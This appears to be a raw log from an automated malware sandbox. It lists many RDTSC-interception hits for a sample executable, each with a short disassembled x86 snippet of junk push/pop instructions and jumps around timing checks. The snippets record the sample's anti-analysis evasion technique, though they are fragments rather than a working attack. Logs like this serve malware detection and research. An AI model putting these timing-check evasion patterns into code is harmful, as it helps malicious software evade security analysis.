Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99C119 second address: 99C123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE5B8D9CB56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99C123 second address: 99C13A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A750h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A2397 second address: 9A23B2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE5B8D9CB61h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A23B2 second address: 9A23B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A23B7 second address: 9A23BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 926633 second address: 926639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 926639 second address: 92665C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8D9CB5Dh 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jc 00007FE5B8D9CB56h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A0D6D second address: 9A0D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A756h 0x00000009 jl 00007FE5B8F4A746h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A0D8D second address: 9A0DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB61h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE5B8D9CB60h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A1097 second address: 9A10C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE5B8F4A74Ch 0x0000000f jmp 00007FE5B8F4A753h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A10C0 second address: 9A10D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FE5B8D9CB5Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A1368 second address: 9A1370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A14DA second address: 9A14E4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A1795 second address: 9A17B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FE5B8F4A74Eh 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FE5B8F4A746h 0x00000013 jg 00007FE5B8F4A75Ah 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A193E second address: 9A1951 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8D9CB5Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A1D54 second address: 9A1D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 94D01B second address: 94D033 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE5B8D9CB5Eh 0x00000008 jc 00007FE5B8D9CB5Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A8ECE second address: 9A8EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE5B8F4A74Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 965F18 second address: 94C57B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007FE5B8D9CB56h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FE5B8D9CB58h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov dword ptr [ebp+12458CBDh], ecx 0x0000002d lea eax, dword ptr [ebp+1247AB89h] 0x00000033 adc dx, 93BAh 0x00000038 nop 0x00000039 jmp 00007FE5B8D9CB65h 0x0000003e push eax 0x0000003f pushad 0x00000040 jc 00007FE5B8D9CB58h 0x00000046 jc 00007FE5B8D9CB58h 0x0000004c popad 0x0000004d nop 0x0000004e jmp 00007FE5B8D9CB5Ah 0x00000053 call dword ptr [ebp+122D2F4Fh] 0x00000059 push esi 0x0000005a jg 00007FE5B8D9CB58h 0x00000060 pushad 0x00000061 popad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966582 second address: 96659B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5B8F4A748h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FE5B8F4A746h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96659B second address: 96659F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96659F second address: 9665AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9665AE second address: 9665D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FE5B8D9CB6Ch 0x00000014 jmp 00007FE5B8D9CB66h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9665D8 second address: 9665E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A74Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96669A second address: 9666A4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9666A4 second address: 9666A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9666E5 second address: 9666E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9666E9 second address: 9666EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9666EF second address: 966701 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007FE5B8D9CB5Eh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9667D0 second address: 966809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5B8F4A756h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FE5B8F4A752h 0x00000017 popad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966809 second address: 966818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966818 second address: 96681C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96681C second address: 966838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jno 00007FE5B8D9CB5Ah 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966838 second address: 96683C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966AB5 second address: 966ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966F81 second address: 966F8E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 967293 second address: 9672B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, dword ptr [ebp+122D284Dh] 0x00000010 lea eax, dword ptr [ebp+1247ABCDh] 0x00000016 mov dword ptr [ebp+1244B5FAh], ebx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9672B5 second address: 9672BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9197 second address: 9A91A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5B8D9CB5Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A91A7 second address: 9A91B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 jns 00007FE5B8F4A746h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9798 second address: 9A979C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A979C second address: 9A97BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8F4A758h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9C5A second address: 9A9C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB65h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9C73 second address: 9A9C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5B8F4A757h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9C90 second address: 9A9CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB65h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9A9CAB second address: 9A9CB8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B328F second address: 9B3299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B2E3E second address: 9B2E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B2E43 second address: 9B2E60 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jc 00007FE5B8D9CB56h 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jo 00007FE5B8D9CB62h 0x00000015 js 00007FE5B8D9CB56h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B5286 second address: 9B528A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B528A second address: 9B528E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B528E second address: 9B52A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE5B8F4A74Ah 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B52A5 second address: 9B52AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B546F second address: 9B547E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnp 00007FE5B8F4A74Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B547E second address: 9B5488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B5488 second address: 9B548C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9B548C second address: 9B54A7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE5B8D9CB5Eh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BC168 second address: 9BC18D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FE5B8F4A757h 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BC18D second address: 9BC1A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE5B8D9CB64h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BC1A7 second address: 9BC1BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FE5B8F4A74Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BC1BD second address: 9BC1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAA9 second address: 9BAAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAAD second address: 9BAAB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAB1 second address: 9BAACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5B8F4A750h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAACB second address: 9BAAD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAD1 second address: 9BAAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAD7 second address: 9BAAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAAE6 second address: 9BAB0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A752h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007FE5B8F4A746h 0x00000012 jl 00007FE5B8F4A746h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAC29 second address: 9BAC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAC2D second address: 9BAC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAC33 second address: 9BAC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAEF4 second address: 9BAEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAEFA second address: 9BAF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BAF05 second address: 9BAF0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BB1F0 second address: 9BB1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BB1F5 second address: 9BB1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BB1FB second address: 9BB1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966CBF second address: 966CC9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 966CC9 second address: 966CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FE5B8D9CB56h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BB4A5 second address: 9BB4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BB4AB second address: 9BB4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8D9CB5Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BF9A3 second address: 9BF9BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FE5B8F4A74Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9BFB23 second address: 9BFB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9C3221 second address: 9C3225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9C3225 second address: 9C323C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE5B8D9CB5Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9C2C24 second address: 9C2C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9CA669 second address: 9CA66E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9CAA8C second address: 9CAAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8F4A74Ah 0x00000009 popad 0x0000000a jmp 00007FE5B8F4A757h 0x0000000f jl 00007FE5B8F4A74Ch 0x00000015 jg 00007FE5B8F4A746h 0x0000001b popad 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
